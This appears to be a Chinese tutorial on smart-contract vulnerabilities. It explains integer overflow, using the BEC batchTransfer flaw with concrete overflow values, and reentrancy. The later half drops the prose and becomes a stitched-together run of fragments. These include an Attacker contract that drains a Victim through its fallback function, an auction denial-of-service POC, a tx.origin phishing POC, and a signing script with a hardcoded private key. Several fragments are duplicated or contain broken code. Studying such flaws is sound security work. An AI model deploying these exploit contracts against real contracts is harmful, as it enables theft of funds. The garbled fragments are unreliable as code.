智能合约常见漏洞
智能合约常见漏洞
整型溢出漏洞
用书上的例子来介绍一下：
一个小朋友，他可以数着手指运算十以内的运算，比如 1+1=2，他可以用两个手指算出来，但是如果你问他 5+6 等于多少，他数完十个手指之后发现手指不够用了，就会把手指扳回来，说：结果为 1，对于小朋友来说，这个问题就超纲“溢出”了
在 solidity 中，当一个整型变量高于或者低于他所能承受的范围时，就会发生溢出，导致一些不可预期的情况出现。例如，当用户转账金额超过系统预设的最大值时，只要用户金额大于零，用户就可以直接将巨额的代币转走
代码片段
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool){
uint cnt = _receivers.length;
uint 256 amount = uint256(cnt) * _value;
//出现了乘法运算，且amount缺少溢出判断，因此存在溢出的可能
require(cnt > 0 && cnt <=20);
require(_value >0 && balances[msg.sender] >= amount);
//存在通过将amount溢出为0或极小值来绕过余额判断的可能
balances[msg.sender] = balances[msg.sender].sub(amount);
for(uint i = 0; i < cnt; i++){
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
这个函数的作用是：让用户同时向多个人转账。第一个参数 _receivers 为 Address 数组类型，代表接收者地址，也就是可以向一整个数组的人转账。第二个参数 _value 为转账金额。
这个函数的逻辑是：
获得数组的成员数（cnt），计算一共转多少钱（amount）
成员数要大于 0 且小于 20 ，然后转账的数值要大于 0 且要小于拥有的金额数才能继续
漏洞分析
uint 256 amount = uint256(cnt) * _value;
在上下文中，没有对 amount 进行溢出判断，如果攻击者将 amount 溢出为 0 或者其他很小的值就能绕过用于对账户余额的判断
require(_value >0 && balances[msg.sender] >= amount);
在代码中可以看到 转账的金额能够被 cnt 和 _value 所控制，所以我们可以操纵这俩数值，来达到目的
具体步骤如下：
- 创建两个地址，用于接收溢出转账
- 调用 batchTransfer() 函数，将 _receivers 设置为 uint256 的最大值 / 2 + 1
-
这样，当计算 amount = uint256 的最大值 + 1，就超过了 uint256 的最大范围，成功溢出为 0
奇数 115792089237316195423570985008687907853269984665640564039457584007913129639935 是 uint256 的最大值，如果把他除以二（刚好需要向下取整）然后加一，把这个作为 _value 的值，这样，再乘以一个 cnt 的值，得到的就刚好溢出
-
代码执行后，两个地址都会得到 _value 个 Token，也就是这两个账号会凭空增加 57896044618658097711785492504343953926634992332820282019728792003956564819968 个 Token（也就是 _value 值）
代码调试
去 这里 看一下
代码复制出来，然后拿到 remix IDE 里面去编译一下
然后在 Run 里面，选择 Environment 为 JavaScript VM，然后选择 BecToken 合约 点击 Deplay 进行部署
记录一下账户的地址：
1：0xca35b7d915458ef540ade6068dfe2f44e8fa733c（主账户）
2：0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
3：0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db
_receivers：
["0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db"]
_value：
57896044618658097711785492504343953926634992332820282019728792003956564819968
然后点击 batchTransfer 的 transact
再用 balanceOf 看一下账户余额是不是变化了
一开始主账户的金额：
其他账户（以第二个为例）
转账之后第二个帐户的金额
再来看看第一个账户的金额，还是这样，这就说明我们复现成功了
规避整型溢出：SafeMath库
目前 solidity 还没有解决此问题，所以只能由各个合约自行完成整型溢出的判断
在任何时候，都不要在代码中直接使用 +、-、*、/ 来进行数学运算，而应使用 SafeMath 库
在 SafeMath 库中每个函数开头都用 语句进行了判断，对所有函数都进行了防溢出判断，可以有效地杜绝整型溢出问题
重入漏洞
漏洞分析
以太坊智能合约的特点之一是能够调用其他外部合约的代码，然而这些外部合约可能被攻击者劫持，迫使合约通过回退函数进一步执行代码，包括回调本身。在 gas 足够的情况下，合约之间甚至可以相互循环调用，直至达到 gas 的上限，但是如果循环中有转账之类的操作，就会导致严重的后果
function withdraw(){
require(msg.sender,call.value(balances[msg.sender])());
balances[msg.sender]=0;
}
这种函数大多存在于钱包、去中心化交易所中，目的是为了让用户提款，将合约中的代币转换成通用的以太币
但是有个问题是他没有先对用户的代币余额进行清零，而智能合约进行转账的时候会调用收款方 fallback 函数
合约可以有一个未命名的函数 —— Fallback 函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中，没有其他函数与给定的函数标识符匹配（或没有提供调用数据），那么这个函数（fallback 函数）会被执行。另外每当合约收到以太币（没有任何数据），这个函数就会执行。此外，为了接收以太币，fallback 函数必须标记为 payable。 如果不存在这样的函数，则合约不能通过常规交易接收以太币
如果构造一个 fallback 函数，函数里面也调用对方的 withdraw 函数的话，那将会产生一个循环调用转账功能，存在漏洞的合约会不断向攻击者合约转账，终止循环结束（以太坊 gas 有上限）
以太坊支付通道及提款机制
以太坊的支付流程是：支付方（sender）将钱包里的以太币发送给以太坊网络，然后以太坊网络再把一定数量的以太币分配给接收方（recipient）。此外还要一部分额外的以太币作为交易费，而交易费不与交易量挂钩
这就导致你发送 1 个以太币交易费是 0.00021 以太币，你转 0.0001 个以太币也要 0.00021 以太币，转账金额还不如交易费高显然是不能接受的，所以以太坊网络上建立支付通道，将发送方在网络上的存款和接收方从网络中提款分割为两个独立的活动
对支付通道的使用进行一下说明：
首先发送方向网络发送一适当的存入资金，这笔存款就像交易一样，记录在区块链上，公开确认了发送方的存款行为
然后发送方直接向接收方发送支付承诺，发送方对接收方表示：“如果你发送了一笔包括这个支付承诺的交易，就会收到这些资金。”然而，关键在于这本身不是一笔交易。这意味着生成支付承诺可以省去交易费的成本
发送方还可以向接收方多次发送承诺，比如一共发送了 3 次“发送 0.01 个以太币”的承诺，那接收方现在就有一个发送方的“发送 0.03 个以太币”的承诺
只要把包含这个承诺的交易发送给网络，接收方就会收到这笔钱，而原本存在网络的资金剩下的会再返还给发送者
常用转币方式
.reansfer() 发送失败时会通过 throw 回滚状态，只会传递 2300 个 gas 以供调用，从而防止重入 .send() 发送失败时，返回布尔值 false，只会传递 2300 个 gas 以供调用，从而防止重入 .gas().call.value()() 当发送失败时，返回布尔值 false 将传递所有可用的 gas 进行调用（可通过 gas(gas _value) 进行限制），不能有效防止重入攻击 ## 代码调试pragma solidity ^0.4.19;
contract Victim {
mapping(address => uint) public userBalannce;
uint public amount = 0;
function Victim() payable{}
function withDraw(){
uint amount = userBalannce[msg.sender];
if(amount > 0){
msg.sender.call.value(amount)();
userBalannce[msg.sender] = 0;
}
}
function() payable{}
function receiveEther() payable{
if(msg.value > 0){
userBalannce[msg.sender] += msg.value;
}
}
function showAccount() public returns (uint){
amount = this.balance;
return this.balance;
}
}
contract Attacker{
uint public amount = 0;
uint public test = 0;
function Attacker() payable{}
function() payable{
test++;
Victim(msg.sender).withDraw();
}
function showAccount() public returns (uint){
amount = this.balance;
return this.balance;
}
function sendMoney(address addr){
Victim(addr).receiveEther.value(1 ether)();
}
function reentry(address addr){
Victim(addr).withDraw();
}
}
//函数修改器用于检验是否允许转移Token
modifier isTokenTransfer{
//if token transfer is not allow
if(!tokenTransfer){
revert();
}
_;
}
//函数修改器用于检验是否来自钱包本身
modifier onlyFromWallet{
require(msg.sender != walletAddress);
_;
}
contructor(uint initial_balance,address wallet){
require(wallet !=0);
require(initial_balance !=0);
_balances[msg.sender]==initial_balance;
_supply = initial_balance;
walletAddress = wallet;
}
function transfer(address to, uint value) isTokenTransfer checkLock returns (bool success){
require(_balances[msg.sender] >= value);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
Transfer(msg.sender,to,value);
return true;
}
function enableTokenTransfer() external onlyFromWallet{
tokenTransfer = true;
TokenTransfer();
}
function disableTokenTransfer() external onlyFromWallet{
tokenTransfer = false;
TokenTransfer();
}
modifier isTokenTransfer{
if(!tokenTransfer){
revert();
}
_;
}
function disableTokenTransfer() external onlyFromWallet{
tokenTransfer = false;
TokenTransfer();
}
modifier onlyFromWallet{
require(msg.sender != walletAddress);
_;
}
modifier onlyFromWallet {
require(msg.sender != walletAddress);
_;
}
function destroycontract(address _to){
selfdestruct(_to);
}
contract sample_1{
function info(bytes data){
this.call(data);
}
function secret() public{
require(this == msg.sender);
//secret operations
}
}
contract sample2{
...
function logAndCall(address _to,uint _value,bytes data,string _fallback){
...
assert(_to.call(bytes4(keccak256(_fallback)),msg.sender,_value,_data));
...
...
}
function transferFrom(address _from,address _to,uint256 _amount,bytes _data,string_custom_fallback) public returns (bool success){
//Alerts the token controller of the transfer
if(isContract(controller)){
throw;
}
require(super.transferFrom(_from,_to,_amount));
if(isContract(_to)){
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.call.value(0)(bytes4(keccack256(_custom_fallback)),_from,_amount,_data);
}
ERC223Transfer(_from,_to,_amount,_data);
return true;
}
function setOwner(address owner_) public auth{
owner - owner_;
LogSetOwner(owner);
}
modifier auth{
require(isAuthorized(msg.sender,msg.sig));
_;
}
function isAuthorized(address src,bytes4 sig) internal view returns (bool){
if(src==address(this)){
return true;
} else if (src == owner){
return true;
} else if (authority == DSAuthority(0)){
return false;
} else {
return authority.canCall(src,this,sig);
}
}
function transferFrom(address _from,address _to,uint256 _amount,bytes _data,string_custom_fallback) public returns (bool success){
//Alerts the token controller of the transfer
if(isContract(controller)){
throw;
}
require(super.transferFrom(_from,_to,_amount));
if(isContract(_to)){
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.call.value(0)(bytes4(keccack256(_custom_fallback)),_from,_amount,_data);
}
contract DistributeTokens{
address public owner;
address[] investors;
uint[] investorTokens;
function invest() public payable{
investors.push(msg.sender);
investorTokens.push(msg.value * 5);
}
function distribute() public {
require(msg.sender == owner);
for(uint i = 0;i<investors.length;i++){
transferToken(investors[i],investorTokens[i]);
}
}
}
bool public isFinalized = false;
address public owner;
function finalize() public {
require(msg.sender = owner);
isFinalized == true;
}
function transfer(address _to,uint _value) returns(bool){
require(isFinalized);
super.transfer(_to,_value)
}
pragma solidity ^0.4.22;
contract Auction{
address public currentLeader;
uint256 public highestBid;
function bid() public payable{
require(msg.value > highestBid);
require(currentLeader.send(highestBid));
currentLeader = msg.sender;
highestBid = msg.value;
}
}
contract POC{
address public owner;
Auction public auInstance;
constructor() public{
owner = msg.sender;
}
modifier onlyOwner(){
require(owner==msg.sender);
_;
}
function setInstance(address addr) public onlyOwner{
auInstance = Auction(addr);
}
function attack() public payable onlyOwner{
auInstance.bid.value(msg.value)();
}
function() external payable{
revert();
}
}
pragma solidity ^0.4.11;
contract MyToken{
mapping(address => uint)balances;
event Transfer(address indexed _from,address indexed _to,uint256 _value);
function MyToken(){
balances[tx.origin]=10000;
}
function sendCoin(address to,uint amount) returns(bool sufficient){
if(balances[msg.sender]<amount) return false;
balances[msg.sender] -= amount;
balances[to] += amount;
Transfer(msg.sender,to,amount);
return true;
}
function getBalance(address addr) constant returns(uint){
return balances[addr];
}
}
var mytokenContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"sendCoin","outputs":[{"name":"sufficient","type":"bool"}],"payable":false,"type":"function","stateMutability":"nonpayable"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function","stateMutability":"view"},{"inputs":[],"payable":false,"type":"constructor","stateMutability":"nonpayable"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"}]);
var mytoken = mytokenContract.new(
{
from: web3.eth.accounts[0],
data: '0x6060604052341561000c57fe5b5b612710600060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6102b9806100646000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806390b98a1114610046578063f8b2cb4f1461009d575bfe5b341561004e57fe5b610083600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506100e7565b604051808215151515815260200191505060405180910390f35b34156100a557fe5b6100d1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610243565b6040518082815260200191505060405180910390f35b600081600060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610139576000905061023d565b81600060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b6000600060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b9190505600a165627a7a72305820140da13b1607e4177f9e0404e33165222e8a6a7b462372ede9923f27f1fe17820029',
gas: '4700000'
}, function (e, contract){
console.log(e, contract);
if (typeof contract.address !== 'undefined') {
console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
}
})
const Web3 = require('web3')
const Tx = require('ethereumjs-tx')
const privateKey = Buffer.from('068DCAB10E501D352CA1E0E06984C262A000305EFCB8A250C7D31815239C53CE', 'hex')
const txParams = {
nonce: '0x01', //可以通过eth.getTransactionCount(eth.accounts[0])得到
gasPrice: '5',
gasLimit: '5000',
to: '0x6001e62c13146912b7b08ea1702f0abb2c94551c',
value: '0x00',
data: '0x90b98a11000000000000000000000000681428ff41bd940bcf641abaf532f3fbc0146f0000000000000000000000000000000000000000000000000000000000000001' //去掉了两个0
// EIP 155 chainId - mainnet: 1, ropsten: 3
chainId: 111 //我搭建的私网ID是111，根据你自己的配置调整
}
var tx = new Tx(txParams, {'chain':'ropsten'})
tx.sign(privateKey)
var serializedTx = tx.serialize()
console.log('0x' + serializedTx.toString('hex'))
pragma solidity ^0.4.22;
contract Phishable{
address public owner;
function constructor () public{
owner = msg.sender;
}
function () public payable {}
function withdrawAll(address _recipient) public {
require(tx.origin == owner);
_recipient.transfer(this.balance);
}
}
pragma solidity ^0.4.22;
interface Phishable{
function owner() external returns (address);
function withdrawAll(address _recipient) external;
}
contract POC{
address owner;
Phishable phInstance;
function constructor() public{
owner = msg.sender;
}
modifier onlyOwner(){
require(owner == msg.sender);
_;
}
function setInstance(address addr) public onlyOwner{
phInstance = Phishable(addr);
}
function getBalance() public onlyOwner{
owner.transfer(address(this).balance);
}
function attack() internal{
address phOwner = phInstance.owner();
if(phOwner == msg.sender){
phInstance.withdrawAll(owner);
} else {
owner.transfer(address(this).balance);
}
}
function() external payable{
attack();
}
}